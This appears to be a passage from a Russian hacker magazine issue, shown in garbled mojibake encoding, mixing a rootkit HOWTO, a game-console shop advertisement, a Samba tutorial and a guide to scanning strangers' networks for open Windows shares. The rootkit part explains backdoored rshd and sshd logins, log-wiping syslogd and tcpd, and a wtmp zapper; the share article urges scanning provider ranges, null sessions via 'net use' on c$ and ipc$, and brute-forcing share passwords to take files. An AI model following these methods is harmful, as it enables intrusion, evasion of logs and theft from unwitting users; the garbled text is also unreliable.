1 vata2
2 vata3

Ãäå vataX, íóæíûé ôàéë, ïðîöåññ, ïàïêà, ïîðò, òåðìèíàë è ò.ä.

ÐÓËÈÌ!
rshd - ïîçâîëÿåò âûïîëíÿòü óäàëåííûå êîìàíäû ÷åðåç rshd.
Äëÿ ýòîãî íàäî çíàòü ïàðîëü íà ðóòêèò. Èñïîëüçîâàíèå:
rsh -l rootkitpassword host command.

Ïðèìåð:
rsh -l cerber wehackedthis.com /home/xakep/ircd/ircd -p 6667

Ýòî çàïóñòèò ircd íà 6667 ïîðòó, åñëè îí ñóùåñòâóåò â óêà-
çàííîé äèðåêòîðèè.

ÏÎÄÒÈÐÀÅÌ ËÎÃÈ
sshd - òåïåðü îí ñòàë êðó÷å! Åñëè òû çàõîäèøü ïîä ëîãèíîì
rewt è èñïîëüçóåøü ïàðîëü íà ðóòêèò, òî ëîãè íå âåäóòñÿ, à
åñëè òû çàõîäèøü ÷åðåç îáûêíîâåííîãî þçåðà, òî ëîãè âå-
äóòñÿ êàê è ïðåæäå.
syslogd - ñòèðàåò ëîãè, â êîòîðûõ ïðèñóòñòâóþò ñëî-
âà/ip/sockets/ôðàçû, óêàçàííûå â ROOTKIT_LOG_FILE, êîòî-
ðûé çàäàåòñÿ â rootkit.h. Âîò ïðèìåðíûé âèä ôàéëà ROOTK-
IT_LOG_FILE. Çàìåòü, ÷òî ýòî åäèíñòâåííûé ôàéë, ãäå ÍÅ íà-
äî ïðîñòàâëÿòü öèôðû (òèïû) ïåðåä òåì, ÷òî íàäî ñêðûòü. Òóò
âñå îäíîòèïíîå:

elvis-host.org
194.84.8.1
rshd

Ïðè òàêîì ñîäåðæàíèè ôàéëà áóäóò ñòèðàòüñÿ/íå ïèñàòüñÿ
ëîãè çàïèñè, â êîòîðûõ âñòðå÷àþòñÿ ñî÷åòàíèÿ ñèìâîëîâ
elvis-host.org, 194.84.8.1 è rshd.
tcpd - ðàçðåøàåò äîñòóï ñ îïðåäåëåííîãî õîñòà, çàäàííîãî â
ôàëå, êîòîðûé óêàçûâàåòñÿ â ïàðàìåòðå
ROOTKIT_ADDRESS_FILE ôàéëà rootkit.h (âî êàê ìóäðåíî âûñ-
êàçàëñÿ :)), áåç âñÿêîãî âåäåíèÿ ëîãîâ. Ïðèìåðíîå ñîäåðæà-
íèå ôàëà ROOTKIT_ADDRESS_FILE:

1 194.84.8.1
2 10.4.0.1

Ýòî ïîçâîëèò þçåðàì, ïîäêîííåêòèâøèìñÿ ñ ip 194.84.8.1 è
10.4.0.1, çàëîãèíèòüñÿ â ñèñòåìó áåç ñîîòâåòñòâóþùèõ çàïè-
ñåé â ëîãàõ.

top - èäåíòè÷íî ps.
z2 - zapper, ýòà ïðîãðàììà ïîçâîëÿåò ñòèðàòü
utmp/wtmp/lastlog ïóíêòû ñ îïðåäåëåííûì username�îì.

Íó êêàê, ííàó÷èëñÿ? ÍÍå ññòîèò ááëàãîäàðíîñòåé! ËËó÷øå ââàëþ-
òîé :)! ÍÍà ýýòîì HHOWTO ïïîäõîäèò êê êêîíöó. ÑÑïàñèáî ççà ââíèìà-
íèå, ññëåäè ççà îîáíîâëåíèÿìè ððóòêèòîâ. ÆÆåëàþ óóäà÷è!

E

ÈÍÒÅÐÍÅÒ-ÌÀÃÀÇÈÍ
Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ

Òåõíè÷åñêèå ïàðàìåòðû:
Ïðîöåññîð: Intel Pentium-3 733 Mhz
Ãðàôè÷åñêèé ïðîöåññîð: 
nVidia XGPU 233 Mhz
Ïðîèçâîäèòåëüíîñòü: 125 Ìëí ïîë./ñåê
Ïàìÿòü: 64 Mb 200 Mhz DDR
Çâóê: nVidia MCPX 200 Mhz, 
256 êàíàëîâ, Dolby Digital 5.1
Ïðî÷åå: 2-5õ DVD-drive, æåñòêèé äèñê 8 Gb, 
4xUSB-ïîðòà, ñåòåâàÿ  ïëàòà 100 MBps
Âîñïðîèçâåäåíèå DVD-ôèëüìîâ

Enter the Matrix Brute Force

The
House of the Dead 3
c Mad Catz Blaster 

Dead or Alive
Xtreme Beach
Volleyball 

APEX

(095) 928-6089 (095) 928-0360 (095) 928-3574

$83.99*/85.99 $83.99*/85.99

$79.95*/75.99

$79.99*/85.99

$99.99

$79.99*

PAL $275.99  

NTSC $289.99

Tao Feng: 
Fist of the Lotus

$83.99*/83.99

Return to Castle
Wolfenstein:
Tides of War 

$83.99*/85.99

Star Wars:
Knights of the
Old Republic 

ÁÛÑÒÐÎ     ÓÄÎÁÍÎ     ÄÎÑÒÓÏÍÎ   

* - öåíà íà àìåðèêàíñêóþ âåðñèþ èãðû (NTSC)

#7(32)

Çàêàçû ïî èíòåðíåòó �
êðóãëîñóòî÷íî!

e-mail: sales@e-shop.ru
Çàêàçû ïî òåëåôîíó 

ìîæíî ñäåëàòü
ñ 10.00 äî 21.00 ïí � ïò
ñ 10.00 äî 19.00 ñá � âñ

ÑÓÏÅÐÏÐÅÄËÎÆÅÍÈÅ ÄËß
ÈÍÎÃÎÐÎÄÍÈÕ ÏÎÊÓÏÀÒÅËÅÉ:

ñòîèìîñòü äîñòàâêè  
ñíèæåíà íà 10%!
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Ïîâñåìåñòíàÿ ðàñïðîñòðàíåííîñòü âèíäîâûõ ìàøèí çàñòàâëÿåò ëèíóêñîèäîâ
èçîáðåòàòü ñðåäñòâà, ïîçâîëÿþùèå âçàèìîäåéñòâîâàòü ñ âèíäàìè åå ñïîñîáàìè è ïî åå
ïðîòîêîëàì - âåäü äÿäüêè èç Ìèêðîñîôòà äóìàþò òîëüêî î ñåáå ïîäîáíûõ, ïîýòîìó è
ïðèõîäèòñÿ áåäíûì þçåðàì ïðàâèëüíîé îñè âåðòåòüñÿ è ïîäñòðàèâàòüñÿ ïîä Âèíäó,
äàáû íå ÷óâñòâîâàòü ñåáÿ óùåìëåííûìè.

àê òû çíàåøü, èçäàâ-
íà â âèíäå ïðàêòèêó-
åòñÿ òàêîå äåëî, êàê

äîñòóïíûå ðåñóðñû (îíè æå ðàñøà-
ðåííûå ðåñóðñû), ñ ïîìîùüþ êîòî-
ðûõ âèíäîâñ þçåðû ìîãóò áåç òðóäà
ïîñðåäñòâàì explorer�à èñïîëüçî-
âàòü ôàéëû è ïðèíòåðû ÷åðåç ñåòü,
òàê æå, êàê áóäòî áû îíè íàõîäÿòñÿ
íà èõ ñîáñòâåííîì êîìïüþòåðå.

ÊÒÎ ÒÀÊÀß ÑÀÌÁÀ?
Íà ïðàâèëüíîé îñè çà øàðû îòâå÷à-
åò ôàéëîâûé ñåðâèñ Samba, êîòî-
ðûé ïîçâîëÿåò ïîëüçîâàòåëÿì Ëè-
íóêñ âçàèìîäåéñòâîâàòü ñ âèíäîâû-
ìè ìàøèíàìè ïî ïðîòîêîëó NetBIOS.
Samba áåç òðóäà ïîçâîëÿåò îòêðûòü
äîñòóï äëÿ ïîëüçîâàòåëåé Windows
ê îïðåäåëåííûì äèðåêòîðèÿì ñèñòå-
ìû, ðàçðåøèòü ñîâìåñòíîå èñïîëü-
çîâàíèå ïðèíòåðà íà Âèíäå è Ëèíó-
õå, à òàêæå âêëþ÷àåò êëèåíòà, êîòî-
ðûé ïîçâîëÿåò ïðîèçâîäèòü äîñòóï
ê îòêðûòûì ðåñóðñàì äðóãèõ ìàøèí,
â òîì ÷èñëå è âèíäîâûõ.

Äëÿ òåáÿ, êóë õàêåð, ðàñøàðåííûå
ðåñóðñû áóäóò ïîëåçíû íå òîëüêî
ãèãçàìè âàðåçíûõ ôèëåñîâ, âàëÿþ-
ùèõñÿ â ëîêàëêå, íî è âîçìîæ-
íîñòüþ îïðîáîâàòü î÷åðåäíîé íþ-
êåð, âåäü 139-é ïîðò åùå íèêòî íå
îòìåíÿë, à äëÿ ðàáîòû ïî ïðîòîêî-
ëó NetBIOS îí äîëæåí áûòü îòêðûò.

DJ, ÏÎÑÒÀÂÜ ÑÀÌÁÓ!
Åñòåñòâåííî, ïðåæäå ÷åì ÷òî-òî
äåëàòü ñ ðàñøàðåííûìè ðåñóðñàìè
òåáå íóæíî èõ íàéòè. Â ïîñòàâêå
Samba åñòü óòèëèòà findsmb, îá èñ-
ïîëüçîâàíèè êîòîðîé ÿ òåáå êî-
ðîòêî ðàññêàæó. Íî ó òåáÿ óæå

äîëæíà ñòîÿòü ñàìà Samba, ëèáî
ïðèäåòñÿ åå óñòàíîâèòü.

Ñíà÷àëà íóæíî êà÷íóòü èñõîäíèêè
Samba (http://us1.samba.org/samba/
samba.html), è ïðîèíñòàëëèðîâàòü
èõ. Èíñòàëëÿöèÿ àáñîëþòíî ñòàíäà-
ðòíàÿ: ðàñêðûâàé àðõèâ è ïåðåõîäè
âî âëîæåííóþ äèðåêòîðèþ source.
Äàëåå ïóñêàåøü ñêðèïò ./configure,
make, make install. Åñëè ó òåáÿ âîç-
íèêíóò âîïðîñû â õîäå óñòàíîâêè,
÷èòàé èäóùèé â àðõèâå README.

Ïîñëå óñòàíîâêè òåáå íóæíî áóäåò
ïðèâåñòè Samba â ðàáî÷åå ñîñòîÿ-
íèå, ñîçäàâ ôàéë êîíôèãóðàöèè
smb.conf (ïî óìîë÷àíèþ äîëæåí íà-
õîäèòüñÿ ïî àäðåñó /usr/local/
samba/lib/smb.conf). Ñîçäàíèå
ôàéëà ñî âñåìè ïàðàìåòðàìè õîðî-
øî îïèñàíî â SMB-HOWTO
(http://www.linux.org.ru/books/HOWT
O/SMB-HHOWTO.html) è â âåñüìà íåï-
ëîõîì ðóêîâîäñòâå ïî íàñòðîéêå ëè-
íóêñ ñåðâåðà (http://tcb.spb.ru/
other/docum/linuxsos/ch21_1.html).

ØÀÐÈÌ Â ÏÎÒÅÌÊÀÕ
Èòàê, Samba ìû ïîñòàâèëè, ñåé÷àñ
ìîæíî è ïîñêàíèòü, ÷òî åñòü èíòå-
ðåñíîãî â ëîêàëêå, íà ïðåäìåò ðàñ-
øàðåííûõ ðåñóðñîâ. Êàê ÿ ãîâîðèë,
â ñàìáó âõîäèò óòèëèòà findsmb, êî-
òîðàÿ ïîçâîëÿåò èñêàòü ðàñøàðåí-
íûå ðåñóðñû â ñåòè. Çàïóñê ïðîã-
ðàììû îñóùåñòâëÿåòñÿ êîìàíäîé:

/usr/local/samba/bin/findsmb
Ïî óìîë÷àíèþ, åñëè ñòàðòàíóëè

ïðîãó áåç ïàðàìåòðîâ, òî ïðîèçâî-
äèòñÿ ñêàíèðîâàíèå òâîåé ïîäñåòè.
×òîáû ïðîèçâîäèòü ñêàíèðîâàíèå â
ëþáîé âûáðàííîé ñåòè, Findsmb
ìîæíî çàäàòü ïàðàìåòð - áðîäêàñò
àäðåñ ïîäñåòè.

Íàéäåííûå ðåñóðñû âûâîäÿòñÿ â
âèäå òàáëèöû â òðè ñòîëáöà: IP - àä-
ðåñ ìàøèíû, åå NetBIOS èìÿ, à òàê-
æå ñòîëáåö, â êîòîðûé âûâîäèòüñÿ
èíôîðìàöèÿ î ðàáî÷åé ãðóïïå óäà-
ëåííîé ìàøèíû, îïåðàöèîííîé ñèñ-
òåìå è âåðñèè ôàéëîâîãî ñåðâèñà.

ÖÅÏËßÅÌÑß
Ïîñëå òîãî, êàê ðåñóðñû íàéäåíû,
ìîæíî ïîïûòàòüñÿ âûïîëíèòü ïîäê-

ëþ÷åíèå ê óäàëåííîìó õîñòó. Â
ýòîì íàì ïîìîæåò smbclient. Çàïóñ-
êàåòñÿ èç òîé æå äèðåêòîðèè, ÷òî è
findsmb.

Smbclient ïîçâîëÿåò ìàíèïóëèðî-
âàòü ôàéëàìè ðàñøàðåííîãî ðåñóð-
ñà. Ðàáîòàåò îí àíàëîãè÷íî êîí-
ñîëüíîìó ftp-êëèåíòó. Èñïîëüçîâà-
íèå smbclien íå ñîñòàâèò äëÿ òåáÿ
òðóäà. Ïðîñìîòð äîñòóïíûõ ðåñóð-
ñîâ îñóùåñòâëÿåòñÿ ñëåäóþùèì
îáðàçîì:

smbclient -L COMPUTER_NAME
Çäåñü îïöèÿ -L çàäàåò õîñò ìàøè-

íû, ðåñóðñû íà êîòîðîé òû õî÷åøü
ïîñìîòðåòü. Åñëè äîñòóïíûå ðåñóð-
ñû òàì åñòü, èõ èìåíà áóäóò ïåðå-
÷èñëåíû â îòäåëüíîì ñòîëáöå. ×òî-
áû ïîäêëþ÷èòüñÿ ê íóæíîìó ðåñóð-
ñó èñïîëüçóé ñëåäóþùèé ôîðìàò
êîìàíäû smbclient:

smbclient
//COMPUTER_NAME/RESOURCE_NAME -U
USER_NAME

Çäåñü ïîñëå äâîéíîãî ñëåøà èäåò
èìÿ ìàøèíû, è èìÿ ðåñóðñà, ê êîòî-
ðîìó òû ïîäêëþ÷àåøüñÿ. Ïîñëå
çàïðîñà íà ñîåäèíåíèå è ïðîõîæäå-
íèÿ àâòîðèçàöèè, òû ñìîæåøü ðà-
áîòàòü ñ ôàéëàìè òàêæå, êàê ÷åðåç
êîíñîëüíûé ftp-êëèåíò.

×òîáû óçíàòü äîñòóïíûå êîìàíäû,
â ñòðîêå êëèåíòà íàáåðè «help» ëè-
áî «?».

Íó âîò, ÿ âêðàòöå ðàññêàçàë òåáå
î òîì, êàê òû ìîæåøü ðàáîòàòü ñ
ðàñøàðåííûìè ðåñóðñàìè èç-ïîä
òâîåé ëþáèìîé îñè. Âîçìîæíîñòåé
ó ñàìáû åùå î÷åíü ìíîãî, åñëè õî-
÷åøü èõ èçó÷èòü, ïîêàïàéñÿ â ìà-
íàõ, äà è â èíòåðíåòå äîêóìåíòàöèè
ïî ýòîìó âîïðîñó äîñòàòî÷íî.

E

Óøàêîâ Àíäðåé aka A-nd-Y
(Andy_@timus.ru)

Ê

ÊÀÊ ÍÀÉÒÈ È ÇÀÞÇÀÒÜ ÐÀÑØÀÐÅÍÍÛÅ
ÐÅÑÓÐÑÛ ÈÇ-ÏÎÄ LINUX.

Ñêàíèì øàðåç ñ ïîìîùüþ findsmb.

Ïîäêëþ÷àåìñÿ ê øàðåçàì.

http://www.
opennet.ru -

çäåñü òû íàé-
äåøü íåìàëî
èíôîðìàöèè

ïî ñàìáå.

Íå çàáûâàé,
÷òî ñêàíèòü

íà ðàñøàðåí-
íûå ðåñóðñû
ìîãóò è òâîþ
ñåòü èëè ñèñ-
òåìó, ïîýòî-
ìó ïîçàáîòü-
ñÿ î äîëæíîé

çàùèòå.



æå ïî-ïðåæíåìó
ïðîäîëæàþ
èñïîëüçîâàòü Legion,

ïîòîìó ÷òî... íó, ïðèâûê ÿ ê íåìó, è
âñå. Òàê ÷òî äàëåå ÿ âñå áóäó
îáúÿñíÿòü íà ïðèìåðå ýòîé ïðîãè.

Èòàê, ó íàñ èìååòñÿ íåêàÿ ñåòü
èëè äàæå îáû÷íîå äèàë-àï ñîåäè-
íåíèå, è òåáå óæàñ êàê íàäî ïðîñêà-
íèðîâàòü äèàïàçîí íà íàëè÷èå îò-
êðûòûõ äëÿ îáùåãî äîñòóïà õàðäîâ.
ß íå áóäó ðàçáèðàòüñÿ, çà÷åì òåáå
ýòî ïîíàäîáèëîñü (ìîæåò, òû çà-
áûâ÷èâûé àäìèí :)). Òàêæå ÿ íå áó-
äó åùå ðàç íàïîìèíàòü, ÷òî ýòî íå-
õîðîøåå çàíÿòèå, - ýòî ðàáîòà äÿ-
äåê â ïîãîíàõ. Ìîå äåëî âñåãî
ëèøü îáúÿñíèòü òåáå èñêëþ-
÷èòåëüíî â öåëÿõ ïîâûøåíèÿ îáî-
ðîíîñïîñîáíîñòè ñòðàíû òåîðèþ.

×ÅÊÀÏ ÏÅÐÅÄ ÑÒÀÐÒÀÏ!
Ïðåæäå ÷åì ïåðåéäåì ê äåëó,
óáåäèñü, íàñòðîåíà ëè òâîÿ òà÷êà
íà ïðîòîêîë NetBEUI - êàê èçâåñòíî,
èìåííî îí èñïîëüçóåòñÿ äëÿ
ðàáîòû ñ îáùèìè ðåñóðñàìè. Äëÿ
ýòîãî îòêðîé ñâîéñòâà ñâîåãî
ïîäêëþ÷åíèÿ, ÷åðåç êîòîðîå òû
áóäåøü ñêàíèðîâàòü. Äëÿ Windows
2000/XP ýòè íàñòðîéêè íàõîäÿòñÿ
âî âêëàäêå �ñåòü� îêíà ñâîéñòâ
ïîäêëþ÷åíèÿ. Ïðîâåðü, åñòü ëè òàì
ñëåäóþùèå ïóíêòû: �NWLink
IPX/SPX/NetBIOS - ñîâìåñòèìûé

òðàíñïîðòíûé ïðîòîêîë�, �NWLink
NetBIOS�, �Ñëóæáà äîñòóïà ê
ôàéëàì è ïðèíòåðàì ñåòåé
Microsoft� è �Êëèåíò äëÿ ñåòåé
Microsoft�. Åñëè íåò, íàæìè
�Óñòàíîâèòü� è óñòàíîâè,
ñîîòâåòñòâåííî, êëèåíò, ñëóæáó è
ïðîòîêîë. Ïîñëå ýòîãî ìîæåò
ïîòðåáîâàòüñÿ ïåðåçàãðóçêà.

Åñëè ó òåáÿ Windows 9x, òî âñå
äåëàåòñÿ ïðèìåðíî òàê æå, òîëüêî
íàçûâàåòñÿ íåñêîëüêî èíà÷å. Òàì
äîëæíû áûòü óñòàíîâëåíû
ïðîòîêîë NetBEUI, ñëóæáà äîñòóïà
ê ôàéëàì è ïðèíòåðàì è êëèåíò äëÿ
ñåòåé Microsoft.

Êîãäà âñå ýòè äåéñòâèÿ áóäóò
ïðîèçâåäåíû, òâîé êîìï áóäåò
ïîëíîñòüþ ãîòîâ ê áîþ... çà ïðàâà
ïîòðåáèòåëåé :). Îñòàëîñü òîëüêî
ñêà÷àòü è çàïóñòèòü Legion.

ÀÄÐÅÑÎÊ ÍÅ ÄÀØÜ?
Ñêàíèðîâàòü òû ìîæåøü êàê ëîêàë-
êó, òàê è ÷åðåç äèàë-àï ñîåäèíåíèå,
òî åñòü àáñîëþòíî âñå ìàøèíû,
íàõîäÿùèåñÿ ñ òîáîé â îäíîé ñåòè.
Ðàçóìååòñÿ, ÷åðåç äèàë-àï
ñêîðîñòü áóäåò íå ñàìàÿ ëó÷øàÿ, äà
è íå ïîêà÷àåøü ñ íàéäåííîãî äèñêà
íè÷åãî êðóïíîãàáàðèòíîãî,
îñîáåííî ó òàêèõ æå äèàë-àïùèêîâ.
Çàòî åñëè ýòî ëîêàëêà èëè
âûäåëåíêà, äà åùå è òðàôèê
õàëÿâíûé, òîãäà âñå ïðîñòî ñóïåð!

Ïåðâîå, ÷òî íóæíî óêàçàòü â
íàñòðîéêàõ Legion, - ýòî ñêîðîñòü

òâîåãî ñîåäèíåíèÿ. Åñëè ó òåáÿ
ìîäåì, òî â ïîëå Connection Speed
ñòàâü ñêîðîñòü, ñ êîòîðîé òâîå
ñîåäèíåíèå ðàáîòàåò, òî åñòü
Slower (ìåíüøå ÷åì 28.800), 28,
56. Íó à åñëè ó òåáÿ ñåòü èëè
âûäåëåíêà, ñòàâü, ñîîòâåòñòâåííî,
Faster. Ïðè ýòîì ñêàíèðîâàíèå
ïîéäåò äîâîëüíî áûñòðî: ìåíüøå
÷åì çà ìèíóòó ìîæíî óìóäðèòüñÿ
ïðîñêàíèðîâàòü àäðåñíîå
ïðîñòðàíñòâî îò 0 äî 255. Äàëåå
ñòàâü â ïîëå Scan Type îïöèþ Scan
Range, ÷òî ïîçâîëèò ñêàíèðîâàòü
òåáå äèàïàçîí àäðåñîâ.

Òåïåðü îïðåäåëèìñÿ ñ IP-àäðåñàìè.
Åñëè òû â ëîêàëêå, òî, ñêîðåå âñåãî,
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Ñïèñîê
äèàïàçîíîâ IP
ðàçíûõ
ïðîâàéäåðîâ
ëåãêî íàðûòü
â Èíåòå, à åùå
ìîæíî
íàòðàâèòü
whois íà ñàéò
ïðîâà - ñðàçó
ïîëó÷èøü
íóæíóþ èíôó.

À íå ïîðà ëè ïåðåëåçòü íà ÕÐåíîòåíü?À íå âîçáóäèòü ëè NetBEUI?

Âñå ñèñòåìû ãîòîâû ê ñêàíó

À ÍÀÑ � LEGION! 
À ÍÀÑ ÐÀÒÜ!

Â ýòîì íîìåðå ìû åùå ïîãîâîðèì î ñêàíåðàõ ðàñøàðåííûõ ðåñóðñîâ ïîä Âûíü, ñ
ïîìîùüþ êîòîðûõ òû ìîæåøü íàéòè è ïîëó÷èòü äîñòóï ê ÷óæèì âèí÷åñòåðàì. Òû
ìîæåøü âûáèðàòü ëþáîé èç íèõ, òàê êàê ëþáàÿ èç ýòèõ ïðîãðàìì ñïðàâèòñÿ ñ
ïîñòàâëåííîé çàäà÷åé, áûëè áû ðóêè íà íóæíîì ìåñòå.

.:R0m@n AKA D0ceNT:.

ÂÑÅ ×ÒÎ ÒÛ ÕÎÒÅË ÇÍÀÒÜ Î ØÀÐÀÕ ÏÎÄ ÂÈÍÄÛ
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äîëæåí çíàòü, êàêèå IP-àäðåñà â íåé
èñïîëüçóþòñÿ, è, ñîîòâåòñòâåííî, â
ïîëå Scan Range çàäàâàé â êà÷åñòâå
Start IP òîò àäðåñ, ñ êîòîðîãî
íà÷íåøü ñêàíèðîâàíèå (äëÿ
ïîëíîòû ïîèñêà çàäàâàé ÷òî-òî òèïà
xxx.xxx.0.1), à â êà÷åñòâå End IP -
àäðåñ, êîòîðûì çàêîí÷èøü (÷òî-òî
âðîäå xxx.xxx.255.255). Ýòî,
êîíå÷íî, î÷åíü áîëüøîé äèàïàçîí
àäðåñîâ, è åñëè ó òåáÿ äèàë-àï, íå
ðàññ÷èòûâàé áûñòðî äîáðàòüñÿ äî
ñëàäêîãî. Â ýòîì ñëó÷àå ëó÷øå
âîîáùå ñêàíèðóé ïîíåìíîãó,
íåáîëüøèìè ñåãìåíòàìè. Òàêæå,
èñïîëüçóÿ ýòîò ìåòîä ñêàíà, òû, õîòÿ
è íå ñèëüíî, íî âñå æå óìåíüøàåøü
âîçìîæíîñòü áûòü çàìå÷åííûì è
ñõâà÷åííûì ñàì çíàåøü çà ÷òî.

Ñòîèò çàìåòèòü, ÷òî ïðîãðàììà
ìîæåò ñêàíèðîâàòü òîëüêî ñåòè
êëàññà C, òî åñòü òû ìîæåøü ââåñòè
ñòàðòîâûé è êîíå÷íûé àäðåñà ñ
îäèíàêîâûìè ïåðâûìè äâóìÿ
öèôðàìè. Òàê ÷òî åñëè òû ðåøèë
èãðàòü ïî-êðóïíîìó, ñêàíèðóé â
íåñêîëüêî ïðîõîäîâ ïî ñåãìåíòàì.

×òî êàñàåòñÿ ñêàíèðîâàíèÿ
äèàëàïùèêîâ, ñèäÿùèõ, íàïðèìåð,
ó òîãî æå ïðîâàéäåðà, ÷òî è òû, òî
òóò IP-àäðåñà ìîæíî óçíàòü
ñëåäóþùèìè ñïîñîáàìè. Îáû÷íî ó
ïðîâàéäåðà åñòü êàêîé-òî äèàïàçîí
àäðåñîâ, îäèí èç êîòîðûõ (èç òåõ,
êîòîðûå â äàííûé ìîìåíò
ñâîáîäíû) íàçíà÷àåòñÿ òåáå ïðè
êàæäîì äîçâîíå (äèíàìè÷åñêèé IP).
Ìîæíî, êîíå÷íî, àðåíäîâàòü ó
ïðîâà ñòàòè÷åñêèé IP (òîò, êîòîðûé
íå ìåíÿåòñÿ ïðè êàæäîì äîçâîíå),
íî ýòî àêòóàëüíî äëÿ âûäåëåííûõ

ëèíèé è âèñÿùèõ íà íåé ñåðâàêîâ.
Ïåðâûå äâå ãðóïïû öèôð
äèíàìè÷åñêîãî IP íå ìåíÿþòñÿ, à
âîò ïîñëåäíèå äâå ìîãóò ïîñòîÿííî
ìåíÿòüñÿ äëÿ êàæäîãî èç
ïîëüçîâàòåëåé. Â îáùåì,
äîñòàòî÷íî ïîñìîòðåòü ïåðâûå äâå
ãðóïïû â ñâîåì òåêóùåì IP�øíèêå -
ýòî è áóäåò ìàñêà ïîäñåòè òâîåãî
ïðîâà. Íàïðèìåð, IP ìîæåò áûòü
òàêèì: 195.120.xxx.xxx. Ìîæåøü
ñêàíèðîâàòü âåñü ýòîò ñåãìåíò.
Ïðàêòèêà ïîêàçûâàåò, ÷òî â î÷åíü
ðåäêèõ ñëó÷àÿõ òû íå íàéäåøü íè
îäíîãî êîìïà ñ îòêðûòûìè äèñêàìè
è ïðèíòåðàìè. Ïðè÷åì î÷åíü ÷àñòî
îòêðûòû êàê ìèíèìóì íà ÷òåíèå
äàæå ñèñòåìíûå äèñêè. ß äóìàþ, òû
óæå ïîíÿë, ÷òî ìîæíî íà íèõ íàéòè

è ñêà÷àòü :). Åñëè òåáå íóæíî
ïðîâåðèòü, íåò ëè îòêðûòûõ äèñêîâ
ó êàêîãî-òî êîíêðåòíîãî ÷åëîâåêà,
òî äîñòàòî÷íî óçíàòü åãî IP è
çàäàòü åãî Legion�ó è êàê
íà÷àëüíûé, è êàê êîíå÷íûé àäðåñ.

Â ËÅÑ ÏÎ ßÃÎÄÛ-ÃÐÈÁÛ
Â ëîêàëüíûõ ñåòÿõ, â îñîáåííîñòè â
òåõ, êîòîðûå òÿíåò ïî ðàéîíó
ïðîâàéäåð è ïîäêëþ÷àåò ÷åðåç
ñåáÿ ê Èíåòó, ìîæíî íàéòè
îãðîìíîå êîëè÷åñòâî êîìïüþòåðîâ
ñ îòêðûòûìè ðåñóðñàìè. Òàê ÷òî
åñëè òû ïîäêëþ÷åí ê Èíåòó êàê ðàç
òàêèì ñïîñîáîì, òî ñ÷èòàé, ÷òî òåáå
çäîðîâî ïîâåçëî. Ìàëî òîãî, ÷òî â
ëîêàëêàõ ïîëíî ëàìàêîâ, êîòîðûå â
ðåçóëüòàòå ñâîåé íåãðàìîòíîñòè
ðàñøàðèâàþò ñâîè äèñêè (èíîãäà
äàæå ñèñòåìíûå), òàê íåêîòîðûå
äàæå ñïåöèàëüíî îòêðûâàþò
ðåñóðñû äëÿ êîãî-íèáóäü èç ñâîèõ
çíàêîìûõ, à òî è äëÿ âñåõ
æåëàþùèõ, ÷òîáû îáìåíèâàòüñÿ ñ
íèìè ðàçëè÷íûìè ôàéëàìè. Íî ýòè
ïåðöû, êàê ïðàâèëî, îñòîðîæíûå è
îòêðûâàþò òîëüêî îäíó ïàïêó äëÿ
îáìåíà, à íå âåñü äèñê. Íåêîòîðûå
óíèêè äàæå åå ïàðîëÿò, ÷òî, â
îáùåì, íå ïðîáëåìà (ñêîðî
ïîéìåøü, ïî÷åìó). Â òàêèõ ñåòÿõ
ìîæíî íàéòè ìíîãî âêóñíîñòåé,
íàïðèìåð, ôèëüìû â MPEG4, MP3-
ôàéëû, äèñòðèáóòèâû ïîëåçíîãî
ñîôòà, ê òîìó æå ñîâåðøåííî
÷åñòíûì ïóòåì. Êîðî÷å, åñëè òû
ïîäêëþ÷åí â ëîêàëüíóþ ñåòü, òî íà
ðûíîê çà äèñêàìè ìîæíî íå õîäèòü,
ãëàâíîå - íàáðàòüñÿ òåðïåíèÿ è
íàéòè îáùèå ðåñóðñû ñêàíåðîì.

Ïîñêîëüêó ñåé÷àñ âñå áîëüøå þçå-
ðîâ ñòàâèò ñåáå Windows XP, âå-
ðîÿòíîñòü íàéòè îòêðûòûå ðåñóðñû
çíà÷èòåëüíî ïîâûøàåòñÿ. Åñëè òû
åùå íå äîãîíÿåøü, ïî÷åìó, òî ÿ
ïîÿñíþ: â ýòîé îñè ïî óìîë÷àíèþ
âñåãäà îòêðûòà ïàïêà �SharedFol-
ders�, â êîòîðîé åñòü ïàïêè �My
Music�, �My Pictures� è âñå â òàêîì
äóõå. Ýòî, êîíå÷íî, íå âåëèêîå äî-
ñòèæåíèå, íî âñå æå èíîãäà íåêîòî-
ðûå ëàìàêè çàñîâûâàþò òóäà ôèëü-
ìû, MP3 è ïðî÷èå ïîëåçíîñòè. À ýòî,
åñëè òû â îäíîé ñåòè ñ ýòèì þçåðîì
è òðàôôèê ó âàñ âíóòðè ñåòè
áåñïëàòíûé, óæå ïðåäñòàâëÿåò íå-
êîòîðûé èíòåðåñ - íå âñå æå PWL-êè
è ïðî÷èå ôàéëèêè ñ ïàðîëÿìè
òûðèòü. Òàêæå íå ñòîèò çàáûâàòü è
ïðî ïðåñëîâóòûé �net use
//èìÿ_êîìïà/c$� èëè �net use
//èìÿ_êîìïà/ipc$�, à òàêæå íóëü-
ñåññèè, êîòîðûå ïðè õîðîøåì ðàñ-
êëàäå ìîãóò äàòü òåáå ïîëíûé äîñ-
òóï äàæå ê íåðàñøàðåííîìó äèñêó.
Õîòÿ ýòî óæå òåìà îòäåëüíîé ñòàòüè,
êîòîðîé ìû êîñíåìñÿ â äðóãîé ðàç, à
ïîêà âåðíåìñÿ ê ñêàíèðîâàíèþ.

Ïîñëå òîãî êàê ñêàíåð çàêîí÷èò
ðàáîòó, îí âûäàñò òåáå íàéäåííûå
ðåñóðñû (åñëè ïîâåçåò, êîíå÷íî, à
òî ìîæíî è íè÷åãî íå íàéòè),
îñòàíåòñÿ òîëüêî êëèêíóòü íà

ëþáîì èç íèõ, è îí äîáàâèòñÿ òåáå
â êà÷åñòâå óäàëåííîé ïàïêè.

ÇÀÏÀÐÎËÅÍÍÛÅ ÄÈÑÊÈ
Êëèêíóë òû íà äèñê â Legion
(êñòàòè, íå òîëüêî â íåì), à îí òåáå
âûäàåò, ÷òî, ìîë, íå ìîæåò ýòîò
äèñê áûòü ïîäêëþ÷åí, òàê êàê îí
çàïàðîëåí. Ýòî òîæå íå ïðîáëåìà.
Çàõîäè íà ñàéò sequritylab.ru è
êà÷àé îòòóäà ïðîãó XIntruder. Ýòà
øòóêà äîâîëüíî áûñòðî ïîäáåðåò
ïàðîëü ê ðàñøàðåííîìó äèñêó. Â
ïîëå Resource ââåäè ïóòü ê
çàïàðîëåííîìó ðåñóðñó (íå÷òî
âðîäå //èìÿ_êîìïà/èìÿ_ðåñóðñà).
Ïðè÷åì â êà÷åñòâå èìåíè êîìïà
